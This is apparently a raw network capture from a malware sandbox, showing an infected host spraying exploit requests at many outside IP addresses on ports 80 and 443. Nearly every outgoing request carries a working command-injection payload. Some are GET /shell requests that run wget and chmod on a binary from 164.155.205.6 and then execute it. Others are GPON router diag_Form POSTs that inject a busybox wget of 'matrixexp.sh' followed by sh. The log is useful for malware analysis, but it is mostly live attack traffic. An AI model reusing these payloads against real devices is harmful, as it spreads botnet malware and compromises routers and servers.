61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1338	192.168.2.23	36488	34.49.101.221	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:09.285346031 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:09.851299047 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:10.522675991 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1339	192.168.2.23	55158	44.232.103.51	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:09.704385042 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:09.881216049 CET	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1340	192.168.2.23	50186	93.123.63.141	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:09.711338997 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:10.347106934 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1341	192.168.2.23	33258	38.102.232.200	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:09.787753105 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:09.950556040 CET	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
1342	192.168.2.23	39010	189.134.9.63	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:09.960774899 CET	312	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:10.843041897 CET	312	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:11.006661892 CET	513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:10 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>
Mar 2, 2024 12:38:11.452141047 CET	513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:10 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>
Mar 2, 2024 12:38:11.973128080 CET	513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:10 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>
Mar 2, 2024 12:38:12.939475060 CET	513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:10 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>
Mar 2, 2024 12:38:14.860462904 CET	513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:10 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1343	192.168.2.23	58098	210.175.39.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132652998 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1344	192.168.2.23	49788	2.146.0.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132709980 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1345	192.168.2.23	36400	210.154.12.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132710934 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1346	192.168.2.23	39618	2.213.204.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132734060 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1347	192.168.2.23	41732	2.178.243.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132734060 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1348	192.168.2.23	32860	94.48.181.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132752895 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1349	192.168.2.23	43108	212.105.80.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132755041 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1350	192.168.2.23	45224	2.150.150.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:10.132755041 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1351	192.168.2.23	36418	94.134.165.242	443

Timestamp	Bytes transferred	Direction	Data
